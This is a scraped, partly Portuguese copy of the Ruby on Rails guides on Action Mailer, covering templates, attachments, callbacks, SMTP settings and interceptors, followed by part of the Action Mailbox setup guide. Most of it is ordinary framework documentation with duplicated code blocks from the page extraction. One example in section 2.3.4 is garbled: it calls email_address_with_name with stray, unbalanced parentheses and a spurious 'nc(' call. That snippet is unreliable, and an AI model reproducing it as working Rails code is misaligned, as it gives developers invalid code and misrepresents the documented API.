
Vamos criar também um modelo usando somente texto para este e-mail. Nem todos os programas de e-mail leem HTML, então enviar os dois formatos é uma boa prática. Para isto criaremos um arquivo com o nome welcome_email.text.erb em app/views/user_mailer/:

Boas vindas ao site exemplo.com, <%= @user.name %>
===============================================

Você concluiu seu cadastro com sucesso,
seu nome de usuário é: <%= @user.login %>.

Para iniciar sua seção no site clique no link a seguir: <%= @url %>.

Agradecemos por se juntar à nós! Tenha um ótimo dia!

Boas vindas ao site exemplo.com, <%= @user.name %> =============================================== Você concluiu seu cadastro com sucesso, seu nome de usuário é: <%= @user.login %>. Para iniciar sua seção no site clique no link a seguir: <%= @url %>. Agradecemos por se juntar à nós! Tenha um ótimo dia! Copiar

Quando você chamar o método mail, ActionMailer detectará que existem dois modelos para esse e-mail (Um em HTML e outro somente texto) e automaticamente irá gerar um multipart/alternative (Opção que indica ao programa de e-mail que essa mensagem tem uma versão em HTML e outra em somente texto) e-mail.

2.1.4 Chamando o Mailer

Mailers são somente outra maneira de renderizar uma view. Ao invés de renderizar uma view e envia-la usando o protocolo HTTP, um Mailer envia através dos protocolos de e-mail. Por esse motivo, faz sentido, para o exemplo anterior, que o controller informe ao mailer para enviar uma mensagem assim que um usuário complete seu cadastro com sucesso.

Configurar isto é muito simples.

Primeiro, criaremos um scaffold (esqueleto) para nosso model User:

$ bin/rails generate scaffold user name e-mail login
$ bin/rails db:migrate

bin/rails generate scaffold user name e-mail login bin/rails db:migrate Copiar

Agora que já temos o model para nossos usuários, podemos começar a criar a funcionalidade. Para isso vamos editar o arquivo app/controllers/users_controller.rb para chamar o UserMailer para enviar um e-mail ao novo usuário registrado. Vamos editar a action create inserindo a seguinte chamada: UserMailer.with(user: @user).welcome_email logo após o usuário ter sido salvo com sucesso.

Action Mailer já é nativamente integrado com o Active Job, logo você pode enviar os e-mails fora do ciclo requisição-resposta, então o usuário não precisa aguardar esse processo terminar para continuar usando a aplicação.

class UsersController < ApplicationController
# POST /users
# POST /users.json
def create
@user = User.new(params[:user])

respond_to do |format|
if @user.save
# Diz ao UserMailer para enviar o _welcome e-mail_ caso o usuário seja salvo
UserMailer.with(user: @user).welcome_email.deliver_later

format.html { redirect_to(@user, notice: 'Usuário foi criado com sucesso.') }
format.json { render json: @user, status: :created, location: @user }
else
format.html { render action: 'new' }
format.json { render json: @user.errors, status: :unprocessable_entity }
end
end
end
end

class UsersController < ApplicationController # POST /users # POST /users.json def create @user = User.new(params[:user]) respond_to do |format| if @user.save # Diz ao UserMailer para enviar o _welcome e-mail_ caso o usuário seja salvo UserMailer.with(user: @user).welcome_email.deliver_later format.html { redirect_to(@user, notice: 'Usuário foi criado com sucesso.') } format.json { render json: @user, status: :created, location: @user } else format.html { render action: 'new' } format.json { render json: @user.errors, status: :unprocessable_entity } end end end end Copiar

O comportamento padrão do Active Job é executar os serviços de maneira assíncrona, usando o adaptador :async. Então você pode usar o método deliver_later para enviar os e-mail de maneira assíncrona. O adaptador padrão do Active Job executa os serviços em um processo Thread Pool. Está abordagem é boa para os ambientes de desenvolvimento e teste, pois não requerem nenhuma infraestrutura externa/complexa, porém é uma abordagem ruim para o ambiente de produção, pois caso o sistema seja reiniciado você pode perder os registros desses serviços. Se você precisar de uma solução para que esses serviços sejam persistidos, de modo a evitar possíveis perdas, você precisará de um serviço a parte que tenha essa funcionalidade, exemplos: Sidekiq, Resque etc.

Se você deseja que os e-mail sejam enviados no mesmo tempo que chamar o Mailer, simplesmente chame deliver_now:

class SendWeeklySummary
def run
User.find_each do |user|
UserMailer.with(user: user).weekly_summary.deliver_now
end
end
end

class SendWeeklySummary def run User.find_each do |user| UserMailer.with(user: user).weekly_summary.deliver_now end end end Copiar

Qualquer chave-valor passado para o with se torna parte da Hash params que será usado na action do Mailer. Então with(user: @user, account: @user.account) cria params[:user] e params[:account] disponíveis na action do Mailer. Como acontece nos controllers que também tem params.

O método welcome_email tem como retorno um objeto do tipo ActionMailer::MessageDelivery que você pode encadear os métodos deliver_now ou deliver_later para assim ele se enviar como um e-mail. O objeto ActionMailer::MessageDelivery é um wrapper (Embrulho) para a classe Mail::Message. Se você quiser inspecionar, alterar, ou fazer qualquer coisa com o objeto Mail::Message você pode acessa-lo através do método message do objeto ActionMailer::MessageDelivery.

2.2 Codificação automática

Action Mailer gerencia automaticamente a codificação de caracteres multibytes (Caracteres asiáticos, emojis etc) dentro do cabeçalho e corpo.

Para exemplos mais complexos como definir uma lista alternativa de caracteres ou codificar o texto de maneira diferente, use essa biblioteca como referência: Mail.

2.3 Lista Completa de Métodos do Action Mailer

Existem apenas três métodos que você precisa para enviar qualquer mensagem de e-mail:

- headers — Especifica qualquer cabeçalho no e-mail como você desejar. Você pode passar uma hash contendo os campos do cabeçalho seguindo o padrão chave: valor, ou você pode chamar a variável headers[:field_name] = value.

- attachments — Permite adicionar anexos ao e-mail. Exemplo: attachments['file-name.jpg'] = File.read('file-name.jpg') que irá adicionar o arquivo file-name.jpg como anexo no e-mail.

- mail — Cria o e-mail de fato. Você pode usar a hash headers como um dos parâmetros. mail vai criar o e-mail, tanto em texto puro ou multipart, dependendo dos modelos disponíveis que você definiu.

2.3.1 Adicionando Anexos

Com o Action Mailer é muito fácil trabalhar com anexos.

- Passe o nome do arquivo e o conteúdo para o Action Mailer e a Mail gem irá descobrir o mime_type do arquivo, define a codificação (encoding) e criar o anexo.

attachments['filename.jpg'] = File.read('/caminho/para/o/arquivo.jpg')

attachments['filename.jpg'] = File.read('/caminho/para/o/arquivo.jpg') Copiar

Quando o método mail for invocado, enviará um e-mail no modo multipart com o anexo, corretamente configurado, sendo o anexo a primeira parte como multipart/mixed e a mensagem sendo a segunda com multipart/alternative com o texto e o HTML do e-mail.

O anexo será codificado usando Base64 pelo Mail. Se você precisar de algo diferente, codifique previamente o conteúdo e adicione o anexo e qual a codificação na hash attachments.

- Passe o nome do arquivo, cabeçalhos específicos e o conteúdo e o Action Mailer e Mail irão usar as configurações:

encoded_content = SpecialEncode(File.read('/caminho/para/o/arquivo.jpg'))
attachments['arquivo.jpg'] = {
mime_type: 'application/gzip',
encoding: 'SpecialEncoding',
content: encoded_content
}

encoded_content = SpecialEncode(File.read('/caminho/para/o/arquivo.jpg')) attachments['arquivo.jpg'] = { mime_type: 'application/gzip', encoding: 'SpecialEncoding', content: encoded_content } Copiar

Se você especificar a codificação, Mail assumirá que o conteúdo já está codificado e não irá codificar usando o padrão Base64.

2.3.2 Criando Anexos dentro da Mensagem de E-mail (Inline)

Action Mailer 3.0 cria anexos dentro da mensagem de e-mail, algo que antes da versão 3.0 envolvia algumas gambiarras, de maneira muito simples e trivia como sempre deveria ter sido.

- Primeiro, para informar ao Mail que o anexo deve ser enviado dentro da própria mensagem você pode encadear o método #inline no attachments dentro da action do seu Mailer:

def welcome
attachments.inline['image.jpg'] = File.read('/caminho/para/a/imagem.jpg')
end

def welcome attachments.inline['image.jpg'] = File.read('/caminho/para/a/imagem.jpg') end Copiar

- Na view, você só precisa especificar qual o anexo dentro de attachments, que é uma hash, você quer mostrar, encadeando o método url no anexo irá retornar o endereço do anexo e você pode passar o resultado para o método image_tag que renderiza uma imagem, veja o exemplo abaixo:

<p>Olá! Aqui está nossa imagem</p>

<%= image_tag attachments['imagem.jpg'].url %>

<p>Olá! Aqui está nossa imagem</p> <%= image_tag attachments['imagem.jpg'].url %> Copiar

- Como isso é uma chamada normal ao método image_tag você pode passar uma hash de opções após a URL do anexo como você faria para qualquer outra imagem:

<p>Olá! Aqui está nossa imagem</p>

<%= image_tag attachments['imagem.jpg'].url, alt: 'Minha Foto', class: 'fotos' %>

<p>Olá! Aqui está nossa imagem</p> <%= image_tag attachments['imagem.jpg'].url, alt: 'Minha Foto', class: 'fotos' %> Copiar

2.3.3 Enviando E-mail para Vários Destinatários

É possível enviar e-mail para um ou mais destinatários usando uma mensagem de e-mail (Por exemplo: notificando os administradores que houve um novo cadastro) bastando configurar uma lista de e-mails no parâmetro :to. Essa lista de e-mails pode ser um Array de endereços de e-mails ou uma String contendo todos os e-mails separados por vírgulas.

class AdminMailer < ApplicationMailer
default to: -> { Admin.pluck(:email) },
from: 'notificacao@exemplo.com'

def new_registration(user)
@user = user
mail(subject: "Novo usuário cadastrado: #{@user.email}")
end
end

class AdminMailer < ApplicationMailer default to: -> { Admin.pluck(:email) }, from: 'notificacao@exemplo.com' def new_registration(user) @user = user mail(subject: "Novo usuário cadastrado: #{@user.email}") end end Copiar

class AdminMailer < ApplicationMailer
default to: 'email_um@exemplo.com,email_dois@exemplo.com,email_tres@exemplo.com',
from: 'notificacao@exemplo.com'

def new_registration(user)
@user = user
mail(subject: "Novo usuário cadastrado: #{@user.email}")
end
end

class AdminMailer < ApplicationMailer default to: 'email_um@exemplo.com,email_dois@exemplo.com,email_tres@exemplo.com', from: 'notificacao@exemplo.com' def new_registration(user) @user = user mail(subject: "Novo usuário cadastrado: #{@user.email}") end end Copiar

O mesmo formato pode ser usado para enviar e-mails com cópia (Cc:) ou com cópia oculta (Cco: ou Bcc: em inglês), adicione :cc ou :bcc para enviar seguindo os padrões descritos acima.

2.3.4 Enviando E-mail com Nome

Em alguns momentos você deseja exibir o nome da pessoa que enviou a mensagem ao invés de mostrar somente o e-mail. Você pode usar email_address_with_name para isso:

def welcome_email
@user = params[:user]
mail(
to: email_address_with_name(((((nc(@user.email, @user.name),
subject: 'Welcome to My Awesome Site'
)
end

def welcome_email @user = params[:user] mail( to: email_address_with_name(((((nc(@user.email, @user.name), subject: 'Welcome to My Awesome Site' ) end Copiar

2.4 Mailer Views

Mailer views are located in the app/views/name_of_mailer_class directory. The specific mailer view is known to the class because its name is the same as the mailer method. In our example from above, our mailer view for the welcome_email method will be in app/views/user_mailer/welcome_email.html.erb for the HTML version and welcome_email.text.erb for the plain text version.

To change the default mailer view for your action you do something like:

class UserMailer < ApplicationMailer
default from: 'notifications@example.com'

def welcome_email
@user = params[:user]
@url  = 'http://example.com/login'
mail(to: @user.email,
subject: 'Welcome to My Awesome Site',
template_path: 'notifications',
template_name: 'another')
end
end

class UserMailer < ApplicationMailer default from: 'notifications@example.com' def welcome_email @user = params[:user] @url = 'http://example.com/login' mail(to: @user.email, subject: 'Welcome to My Awesome Site', template_path: 'notifications', template_name: 'another') end end Copiar

In this case it will look for templates at app/views/notifications with name another. You can also specify an array of paths for template_path, and they will be searched in order.

If you want more flexibility you can also pass a block and render specific templates or even render inline or text without using a template file:

class UserMailer < ApplicationMailer
default from: 'notifications@example.com'

def welcome_email
@user = params[:user]
@url  = 'http://example.com/login'
mail(to: @user.email,
subject: 'Welcome to My Awesome Site') do |format|
format.html { render 'another_template' }
format.text { render plain: 'Render text' }
end
end
end

class UserMailer < ApplicationMailer default from: 'notifications@example.com' def welcome_email @user = params[:user] @url = 'http://example.com/login' mail(to: @user.email, subject: 'Welcome to My Awesome Site') do |format| format.html { render 'another_template' } format.text { render plain: 'Render text' } end end end Copiar

This will render the template 'another_template.html.erb' for the HTML part and use the rendered text for the text part. The render command is the same one used inside of Action Controller, so you can use all the same options, such as :text, :inline, etc.

If you would like to render a template located outside of the default app/views/mailer_name/ directory, you can apply the prepend_view_path, like so:

class UserMailer < ApplicationMailer
prepend_view_path "custom/path/to/mailer/view"

# This will try to load "custom/path/to/mailer/view/welcome_email" template
def welcome_email
# ...
end
end

class UserMailer < ApplicationMailer prepend_view_path "custom/path/to/mailer/view" # This will try to load "custom/path/to/mailer/view/welcome_email" template def welcome_email # ... end end Copiar

You can also consider using the append_view_path method.

2.4.1 Caching mailer view

You can perform fragment caching in mailer views like in application views using the cache method.

<% cache do %>
<%= @company.name %>
<% end %>

<% cache do %> <%= @company.name %> <% end %> Copiar

And in order to use this feature, you need to configure your application with this:

config.action_mailer.perform_caching = true

config.action_mailer.perform_caching = true Copiar

Fragment caching is also supported in multipart emails. Read more about caching in the Rails caching guide.

2.5 Action Mailer Layouts

Just like controller views, you can also have mailer layouts. The layout name needs to be the same as your mailer, such as user_mailer.html.erb and user_mailer.text.erb to be automatically recognized by your mailer as a layout.

In order to use a different file, call layout in your mailer:

class UserMailer < ApplicationMailer
layout 'awesome' # use awesome.(html|text).erb as the layout
end

class UserMailer < ApplicationMailer layout 'awesome' # use awesome.(html|text).erb as the layout end Copiar

Just like with controller views, use yield to render the view inside the layout.

You can also pass in a layout: 'layout_name' option to the render call inside the format block to specify different layouts for different formats:

class UserMailer < ApplicationMailer
def welcome_email
mail(to: params[:user].email) do |format|
format.html { render layout: 'my_layout' }
format.text
end
end
end

class UserMailer < ApplicationMailer def welcome_email mail(to: params[:user].email) do |format| format.html { render layout: 'my_layout' } format.text end end end Copiar

Will render the HTML part using the my_layout.html.erb file and the text part with the usual user_mailer.text.erb file if it exists.

2.6 Previewing Emails

Action Mailer previews provide a way to see how emails look by visiting a special URL that renders them. In the above example, the preview class for UserMailer should be named UserMailerPreview and located in test/mailers/previews/user_mailer_preview.rb. To see the preview of welcome_email, implement a method that has the same name and call UserMailer.welcome_email:

class UserMailerPreview < ActionMailer::Preview
def welcome_email
UserMailer.with(user: User.first).welcome_email
end
end

class UserMailerPreview < ActionMailer::Preview def welcome_email UserMailer.with(user: User.first).welcome_email end end Copiar

Then the preview will be available in http://localhost:3000/rails/mailers/user_mailer/welcome_email.

If you change something in app/views/user_mailer/welcome_email.html.erb or the mailer itself, it'll automatically reload and render it so you can visually see the new style instantly. A list of previews are also available in http://localhost:3000/rails/mailers.

By default, these preview classes live in test/mailers/previews. This can be configured using the preview_path option. For example, if you want to change it to lib/mailer_previews, you can configure it in config/application.rb:

config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews"

config.action_mailer.preview_path = "#{Rails.root}/lib/mailer_previews" Copiar

2.7 Generating URLs in Action Mailer Views

Unlike controllers, the mailer instance doesn't have any context about the incoming request so you'll need to provide the :host parameter yourself.

As the :host usually is consistent across the application you can configure it globally in config/application.rb:

config.action_mailer.default_url_options = { host: 'example.com' }

config.action_mailer.default_url_options = { host: 'example.com' } Copiar

Because of this behavior you cannot use any of the *_path helpers inside of an email. Instead you will need to use the associated *_url helper. For example instead of using

<%= link_to 'welcome', welcome_path %>

<%= link_to 'welcome', welcome_path %> Copiar

You will need to use:

<%= link_to 'welcome', welcome_url %>

<%= link_to 'welcome', welcome_url %> Copiar

By using the full URL, your links will now work in your emails.

2.7.1 Generating URLs with url_for

url_for generates a full URL by default in templates.

If you did not configure the :host option globally make sure to pass it to url_for.

<%= url_for(host: 'example.com',
controller: 'welcome',
action: 'greeting') %>

<%= url_for(host: 'example.com', controller: 'welcome', action: 'greeting') %> Copiar

2.7.2 Generating URLs with Named Routes

Email clients have no web context and so paths have no base URL to form complete web addresses. Thus, you should always use the *_url variant of named route helpers.

If you did not configure the :host option globally make sure to pass it to the URL helper.

<%= user_url(@user, host: 'example.com') %>

<%= user_url(@user, host: 'example.com') %> Copiar

non-GET links require rails-ujs or jQuery UJS, and won't work in mailer templates. They will result in normal GET requests.

2.8 Adding images in Action Mailer Views

Unlike controllers, the mailer instance doesn't have any context about the incoming request so you'll need to provide the :asset_host parameter yourself.

As the :asset_host usually is consistent across the application you can configure it globally in config/application.rb:

config.asset_host = 'http://example.com'

config.asset_host = 'http://example.com' Copiar

Now you can display an image inside your email.

<%= image_tag 'image.jpg' %>

<%= image_tag 'image.jpg' %> Copiar

2.9 Sending Multipart Emails

Action Mailer will automatically send multipart emails if you have different templates for the same action. So, for our UserMailer example, if you have welcome_email.text.erb and welcome_email.html.erb in app/views/user_mailer, Action Mailer will automatically send a multipart email with the HTML and text versions setup as different parts.

The order of the parts getting inserted is determined by the :parts_order inside of the ActionMailer::Base.default method.

2.10 Sending Emails with Dynamic Delivery Options

If you wish to override the default delivery options (e.g. SMTP credentials) while delivering emails, you can do this using delivery_method_options in the mailer action.

class UserMailer < ApplicationMailer
def welcome_email
@user = params[:user]
@url  = user_url(@user)
delivery_options = { user_name: params[:company].smtp_user,
password: params[:company].smtp_password,
address: params[:company].smtp_host }
mail(to: @user.email,
subject: "Please see the Terms and Conditions attached",
delivery_method_options: delivery_options)
end
end

class UserMailer < ApplicationMailer def welcome_email @user = params[:user] @url = user_url(@user) delivery_options = { user_name: params[:company].smtp_user, password: params[:company].smtp_password, address: params[:company].smtp_host } mail(to: @user.email, subject: "Please see the Terms and Conditions attached", delivery_method_options: delivery_options) end end Copiar

2.11 Sending Emails without Template Rendering

There may be cases in which you want to skip the template rendering step and supply the email body as a string. You can achieve this using the :body option. In such cases don't forget to add the :content_type option. Rails will default to text/plain otherwise.

class UserMailer < ApplicationMailer
def welcome_email
mail(to: params[:user].email,
body: params[:email_body],
content_type: "text/html",
subject: "Already rendered!")
end
end

class UserMailer < ApplicationMailer def welcome_email mail(to: params[:user].email, body: params[:email_body], content_type: "text/html", subject: "Already rendered!") end end Copiar

3 Callbacks do Action Mailer

Action Mailer permite que você especifique o before_action, after_action e around_action.

- Filtros podem ser especificados com um bloco ou um symbol para um método no Mailer, similar a um controller

- Você pode usar um before_action para definir variáveis de instância, popule o objeto de email com valores padrões, ou insira headers e anexos padrões.

class InvitationsMailer < ApplicationMailer
before_action :set_inviter_and_invitee
before_action { @account = params[:inviter].account }

default to:       -> { @invitee.email_address },
from:     -> { common_address(@inviter) },
reply_to: -> { @inviter.email_address_with_name }

def account_invitation
mail subject: "#{@inviter.name} invited you to their Basecamp (#{@account.name})"
end

def project_invitation
@project    = params[:project]
@summarizer = ProjectInvitationSummarizer.new(@project.bucket)

mail subject: "#{@inviter.name.familiar} added you to a project in Basecamp (#{@account.name})"
end

private

def set_inviter_and_invitee
@inviter = params[:inviter]
@invitee = params[:invitee]
end
end

class InvitationsMailer < ApplicationMailer before_action :set_inviter_and_invitee before_action { @account = params[:inviter].account } default to: -> { @invitee.email_address }, from: -> { common_address(@inviter) }, reply_to: -> { @inviter.email_address_with_name } def account_invitation mail subject: "#{@inviter.name} invited you to their Basecamp (#{@account.name})" end def project_invitation @project = params[:project] @summarizer = ProjectInvitationSummarizer.new(@project.bucket) mail subject: "#{@inviter.name.familiar} added you to a project in Basecamp (#{@account.name})" end private def set_inviter_and_invitee @inviter = params[:inviter] @invitee = params[:invitee] end end Copiar

- Você pode usar um after_action para fazer uma configuração semelhante ao before_action, mas usando variáveis de instância definidas em sua action do mailer.

- Usando um after_action também vai te permitir sobreescrever o método de entrega definido por atualizar mail.delivery_method.settings.

class UserMailer < ApplicationMailer
before_action { @business, @user = params[:business], params[:user] }

after_action :set_delivery_options,
:prevent_delivery_to_guests,
:set_business_headers

def feedback_message
end

def campaign_message
end

private

def set_delivery_options
# You have access to the mail instance,
# @business and @user instance variables here
if @business && @business.has_smtp_settings?
mail.delivery_method.settings.merge!(@business.smtp_settings)
end
end

def prevent_delivery_to_guests
if @user && @user.guest?
mail.perform_deliveries = false
end
end

def set_business_headers
if @business
headers["X-SMTPAPI-CATEGORY"] = @business.code
end
end
end

class UserMailer < ApplicationMailer before_action { @business, @user = params[:business], params[:user] } after_action :set_delivery_options, :prevent_delivery_to_guests, :set_business_headers def feedback_message end def campaign_message end private def set_delivery_options # You have access to the mail instance, # @business and @user instance variables here if @business && @business.has_smtp_settings? mail.delivery_method.settings.merge!(@business.smtp_settings) end end def prevent_delivery_to_guests if @user && @user.guest? mail.perform_deliveries = false end end def set_business_headers if @business headers["X-SMTPAPI-CATEGORY"] = @business.code end end end Copiar

- Os filtros do mailer interrompem o processamento adicional se o body estiver definido com um valor não nulo.

4 Usando os helpers do Action Mailer

O Action Mailer agora herda de AbstractController, para que você tenha acesso aos mesmos helpers genéricos que um Action Controller.

Existem também alguns métodos auxiliares específicos do Action Mailer disponíveis em ActionMailer::MailHelper. Por exemplo, estes permitem acessar a instância de mailer a partir da view com mailer, e acessando a mensagem usando message:

<%= stylesheet_link_tag mailer.name.underscore %>
<h1><%= message.subject %></h1>

<%= stylesheet_link_tag mailer.name.underscore %> <h1><%= message.subject %></h1> Copiar

5 Configuração do Action Mailer

As seguintes opções de configuração são feitas melhor em um dos ambientes arquivos (environment.rb, production.rb, etc...)

Configuração

Descrição

logger

Gera informações sobre a execução de correspondência, se disponível. Pode ser definido como nil para nenhum registro. Compatível com os loggers Logger e Log4r do Ruby.

smtp_settings

Permite configuração detalhada para o método de entrega :smtp:

- :address - Permite que você use um servidor de e-mail remoto. Basta alterar a configuração do padrão "localhost".

- :port - Na chance de seu servidor de e-mail não funcionar na porta 25, você pode alterá-lo.

- :domain - Se você precisar especificar um domínio HELO, pode fazê-lo aqui.

- :user_name - Se o seu servidor de e-mail requer autenticação, defina o nome de usuário neste configuração.

- :password - Se o seu servidor de e-mail requer autenticação, defina a senha neste configuração.

- :authentication - Se o seu servidor de e-mail requer autenticação, você precisa especificar o tipo de autenticação aqui. Este é um símbolo e um dos :plain (irá enviar a senha em claro), :login (irá enviar senha codificada em Base64) or :cram_md5 (combina um mecanismo de desafio / resposta para trocar informações e um algoritmo criptográfico Message Digest 5 para hash informações importantes)

- :enable_starttls_auto - Detecta se STARTTLS está habilitado em seu servidor SMTP e começa a usá-lo. O padrão é true.

- :openssl_verify_mode - Ao usar TLS, você pode definir como o OpenSSL verifica o certificado. Isso é realmente útil se você precisar validar um certificado auto assinado e / ou curinga. Você pode usar o nome de uma constante de verificação OpenSSL ('none' ou 'peer') ou diretamente a constante (OpenSSL::SSL::VERIFY_NONE ou OpenSSL::SSL::VERIFY_PEER).

- :ssl/:tls - Permite que a conexão SMTP use SMTP / TLS (SMTPS: SMTP sobre conexão TLS direta)

sendmail_settings

Permite que você substitua as opções do método de entrega : sendmail.

- :location - A localização do executável sendmail. Padrões para /usr/sbin/sendmail.

- :arguments - Os argumentos da linha de comando a serem passados ao sendmail. Padrões para -i.

raise_delivery_errors

Se erros devem ou não ser levantados se o e-mail não for entregue. This only works if the external email server is configured for immediate delivery.

delivery_method

Define um método de entrega. Os valores possíveis são:

- :smtp (default), pode ser configurado usando config.action_mailer.smtp_settings.

- :sendmail, pode ser configurado usando config.action_mailer.sendmail_settings.

- :file: salva e-mails em arquivos; pode ser configurado usando config.action_mailer.file_settings.

- :test: salvar e-mails para ActionMailer::Base.deliveries array.

VejaAPI docs para mais informações.

perform_deliveries

Determina se as entregas são realmente realizadas quando o método entrega é invocado na mensagem do Mail. Por padrão, eles são, mas isso pode ser desligado para ajudar nos testes funcionais. Se este valor for false, o array deliveries não será preenchido, mesmo se delivery_method for :test.

deliveries

Mantém um array de todos os emails enviados através do Action Mailer com delivery_method: test. Muito útil para testes de unidade e funcional.

default_options

Permite definir valores padrão para as opções do método mail (:from, :reply_to, etc.).

Para uma descrição completa das configurações possíveis, consulte o Configuring Action Mailer dentro do nosso guia de configuração de aplicativos Rails.

5.1 Exemplo de configuração do Action Mailer

Um exemplo seria adicionar o seguinte ao seu arquivo config/environments/$RAILS_ENV.rb:

config.action_mailer.delivery_method = :sendmail
# Defaults to:
# config.action_mailer.sendmail_settings = {
#   location: '/usr/sbin/sendmail',
#   arguments: '-i'
# }
config.action_mailer.perform_deliveries = true
config.action_mailer.raise_delivery_errors = true
config.action_mailer.default_options = {from: 'no-reply@example.com'}

config.action_mailer.delivery_method = :sendmail # Defaults to: # config.action_mailer.sendmail_settings = { # location: '/usr/sbin/sendmail', # arguments: '-i' # } config.action_mailer.perform_deliveries = true config.action_mailer.raise_delivery_errors = true config.action_mailer.default_options = {from: 'no-reply@example.com'} Copiar

5.2 Configuração do Action Mailer para Gmail

Como o Action Mailer agora usa a gem Mail, torna-se tão simples quanto adicionar ao arquivo config/environment/$ RAILS_ENV.rb:

config.action_mailer.delivery_method = :smtp
config.action_mailer.smtp_settings = {
address:              'smtp.gmail.com',
port:                 587,
domain:               'example.com',
user_name:            '<username>',
password:             '<password>',
authentication:       'plain',
enable_starttls_auto: true }

config.action_mailer.delivery_method = :smtp config.action_mailer.smtp_settings = { address: 'smtp.gmail.com', port: 587, domain: 'example.com', user_name: '<username>', password: '<password>', authentication: 'plain', enable_starttls_auto: true } Copiar

Em 15 de julho de 2014, o Google aumentou suas medidas de segurança e agora bloqueia as tentativas de aplicativos que considera menos seguros. Você pode alterar suas configurações do Gmail aqui para permitir as tentativas. Se sua conta do Gmail tiver a autenticação de dois fatores ativada em seguida, você precisará definir uma senha de aplicativo e usá-la em vez de sua senha normal. Alternativamente, você pode use outro ESP para enviar e-mail substituindo 'smtp.gmail.com' acima pelo endereço do seu provedor.

6 Testes de Mailer

Você encontrará instruções detalhadas de como testar seus mailers no guia de teste.

7 Interceptando e Observando Emails

Action Mailer fornece ganchos para os métodos observador e interceptor do Mail. Eles permitem que você registre classes que são chamadas durante o ciclo de vida de entrega de cada e-mail enviado.

7.1 Interceptando Emails

Os interceptores permitem que você faça modificações em emails antes que eles sejam entregues aos agentes de entrega. Uma classe de interceptor deve implementar o método ::delivering_email(message) que será chamado antes do e-mail ser enviado.

class SandboxEmailInterceptor
def self.delivering_email(message)
message.to = ['sandbox@example.com']
end
end

class SandboxEmailInterceptor def self.delivering_email(message) message.to = ['sandbox@example.com'] end end Copiar

Antes que o interceptor possa fazer seu trabalho, você precisa registrá-lo usando register_interceptor. Você pode fazer isso em um arquivo inicializador como config/initializers/sandbox_email_interceptor.rb:

if Rails.env.staging?
ActionMailer::Base.register_interceptor(SandboxEmailInterceptor)
end

if Rails.env.staging? ActionMailer::Base.register_interceptor(SandboxEmailInterceptor) end Copiar

O exemplo acima usa um ambiente personalizado chamado "staging" para um servidor como em produção, mas para fins de teste. Você pode ler Criação de Ambientes Rails para mais informações sobre ambientes Rails personalizados.

7.2 Observando Emails

Os observadores fornecem acesso à mensagem de e-mail após ela ter sido enviada. Uma classe de observador deve implementar o método :delivered_email(message), que será chamado após o e-mail ser enviado.

class EmailDeliveryObserver
def self.delivered_email(message)
EmailDelivery.log(message)
end
end

class EmailDeliveryObserver def self.delivered_email(message) EmailDelivery.log(message) end end Copiar

Como os interceptores, você precisa registrar observadores usando register_observer. Você pode fazer isso em um arquivo inicializador como config/initializers/email_delivery_observer.rb

ActionMailer::Base.register_observer(EmailDeliveryObserver)

ActionMailer::Base.register_observer(EmailDeliveryObserver) Copiar

Action Mailbox Basics — Ruby on Rails...

1 What is Action Mailbox?

Action Mailbox routes incoming emails to controller-like mailboxes for processing in Rails. It ships with ingresses for Mailgun, Mandrill, Postmark, and SendGrid. You can also handle inbound mails directly via the built-in Exim, Postfix, and Qmail ingresses.

The inbound emails are turned into InboundEmail records using Active Record and feature lifecycle tracking, storage of the original email on cloud storage via Active Storage, and responsible data handling with on-by-default incineration.

These inbound emails are routed asynchronously using Active Job to one or several dedicated mailboxes, which are capable of interacting directly with the rest of your domain model.

2 Setup

Install migrations needed for InboundEmail and ensure Active Storage is set up:

$ bin/rails action_mailbox:install
$ bin/rails db:migrate

bin/rails action_mailbox:install bin/rails db:migrate Copiar

3 Configuration

3.1 Exim

Tell Action Mailbox to accept emails from an SMTP relay:

# config/environments/production.rb
config.action_mailbox.ingress = :relay

# config/environments/production.rb config.action_mailbox.ingress = :relay Copiar

Generate a strong password that Action Mailbox can use to authenticate requests to the relay ingress.

Use bin/rails credentials:edit to add the password to your application's encrypted credentials under action_mailbox.ingress_password, where Action Mailbox will automatically find it:

action_mailbox:
ingress_password: ...

action_mailbox: ingress_password: ... Copiar

Alternatively, provide the password in the RAILS_INBOUND_EMAIL_PASSWORD environment variable.

Configure Exim to pipe inbound emails to bin/rails action_mailbox:ingress:exim, providing the URL of the relay ingress and the INGRESS_PASSWORD you previously generated. If your application lived at https://example.com, the full command would look like this:

$ bin/rails action_mailbox:ingress:exim URL=https://example.com/rails/action_mailbox/relay/inbound_emails INGRESS_PASSWORD=...

bin/rails action_mailbox:ingress:exim URL=https://example.com/rails/action_mailbox/relay/inbound_emails INGRESS_PASSWORD=... Copiar

3.2 Mailgun

Give Action Mailbox your Mailgun Signing key (which you can find under Settings -> Security & Users -> API security in Mailgun) so it can authenticate requests to the Mailgun ingress.

Use bin/rails credentials:edit to add your Signing key to your application's encrypted credentials under action_mailbox.mailgun_signing_key, where Action Mailbox will automatically find it:

action_mailbox:
mailgun_signing_key: ...

action_mailbox: mailgun_signing_key: ... Copiar

Alternatively, provide your Signing key in the MAILGUN_INGRESS_SIGNING_KEY environment variable.

Tell Action Mailbox to accept emails from Mailgun:

# config/environments/production.rb
config.action_mailbox.ingress = :mailgun

# config/environments/production.rb config.action_mailbox.ingress = :mailgun Copiar

Configure Mailgun to forward inbound emails to /rails/action_mailbox/mailgun/inbound_emails/mime. If your application lived at https://example.com, you would specify the fully-qualified URL https://example.com/rails/action_mailbox/mailgun/inbound_emails/mime.

3.3 Mandrill

Give Action Mailbox your Mandrill API key so it can authenticate requests to the Mandrill ingress.

Use bin/rails credentials:edit to add your API key to your application's encrypted credentials under action_mailbox.mandrill_api_key, where Action Mailbox will automatically find it:

action_mailbox:
mandrill_api_key: ...

action_mailbox: mandrill_api_key: ... Copiar

Alternatively, provide your API key in the MANDRILL_INGRESS_API_KEY environment variable.

Tell Action Mailbox to accept emails from Mandrill:

# config/environments/production.rb
config.action_mailbox.ingress = :mandrill

# config/environments/production.rb config.action_mailbox.ingress = :mandrill Copiar

Configure Mandrill to route inbound emails to /rails/action_mailbox/mandrill/inbound_emails. If your application lived at https://example.com, you would specify the fully-qualified URL https://example.com/rails/action_mailbox/mandrill/inbound_emails.

3.4 Postfix

Tell Action Mailbox to accept emails from an SMTP relay:

# config/environments/production.rb
config.action_mailbox.ingress = :relay

# config/environments/production.rb config.action_mailbox.ingress = :relay Copiar

Generate a strong password that Action Mailbox can use to authenticate requests to the relay ingress.

Use bin/rails credentials:edit to add the password to your application's encrypted credentials under action_mailbox.ingress_password, where Action Mailbox will automatically find it:

action_mailbox:
ingress_password: ...

